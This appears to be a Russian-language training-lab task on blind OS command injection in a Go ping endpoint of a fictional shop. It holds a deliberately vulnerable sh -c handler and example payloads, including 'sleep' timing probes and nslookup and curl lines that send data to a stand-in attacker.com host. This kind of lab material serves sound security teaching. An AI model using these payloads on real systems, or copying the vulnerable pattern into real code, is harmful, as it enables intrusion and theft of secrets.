Blind Command Injection через сетевую диагностику
Обработчик сетевой диагностики передаёт пользовательский ввод в sh -c без фильтрации. Результат команды не отображается — используйте time-based технику для подтверждения инъекции.
hardgolangPro
Задача
# Blind Command Injection (Через сетевую диагностику без отображения вывода)
## Сценарий
Вы проводите аудит безопасности интернет-магазина **SecureShop**. Разработчик добавил API-эндпоинт `POST /api/network-diag` для проверки доступности удалённых хостов. Особенность реализации: результат команды **не отображается** пользователю — возвращается только сообщение `Ping sent successfully`. Вывод спрятан, но это не значит, что команда не выполняется. Это классический **Blind Command Injection**: атакующий не видит stdout/stderr, но может подтверждать инъекцию через побочные эффекты — задержку ответа, DNS-запросы на свой сервер, HTTP-вызовы наружу, создание файлов.
## Цель
1. Подтвердите наличие command injection через **time-based** технику — `; sleep 5` должен прибавить ~5 секунд к времени ответа.
2. Подтвердите injection без отображения вывода через **out-of-band** канал — DNS или HTTP-запрос на ваш Exploit Server.
3. Используя RCE, прочтите данные, дающие доступ к панели администратора (БД, файлы, переменные окружения).
4. Зайдите на `/admin` и заберите флаг.
## Теория
**Blind Command Injection** — подвид OS Command Injection, при котором приложение исполняет команду атакующего, но не возвращает её вывод в HTTP-ответе. Уязвимость остаётся в полной мере опасной — RCE есть RCE, — но требует косвенных каналов подтверждения и эксфильтрации:
* **Time-based** — добавить `sleep N` после полезной команды; если ответ задерживается на N секунд, инъекция работает.
* **DNS exfiltration** — `nslookup $(printenv FLAG).attacker.com`; имя поддомена попадает в логи DNS-сервера атакующего и содержит выводимое значение.
* **HTTP exfiltration** — `curl http://attacker.com/?d=$(cmd)` или `wget`; данные приходят в логах атакующего HTTP-сервера.
* **File-based** — записать результат в публично доступный путь и прочитать через GET-запрос.
Источник уязвимости тот же, что у обычного command injection: пользовательский ввод конкатенируется в строку команды, которую затем запускают через `sh -c`/`bash -c`. Метасимволы оболочки превращают любое поле формы в RCE-вектор.
**Уязвимый паттерн:**
```go
func (h *Handler) NetworkDiag(w http.ResponseWriter, r *http.Request) {
host := r.FormValue("host")
// Команда формируется через sh -c — результат не возвращается клиенту,
// но команда исполняется со всеми побочными эффектами:
cmd := exec.Command("sh", "-c", "ping -c 1 "+host+" >/dev/null 2>&1")
cmd.Run()
json.NewEncoder(w).Encode(map[string]string{"status": "Ping sent successfully"})
}
```
## Точка входа атаки
| Параметр | Значение |
|----------|----------|
| Обычный пользователь | `demo` / `demo` |
| Уязвимый эндпоинт | `POST /api/network-diag` (поле `host`) |
| Admin Panel | `GET /admin` (требует роль `admin`, показывает флаг) |
| Exploit Server (опционально) | для out-of-band exfiltration через DNS/HTTP (см. панель лабы) |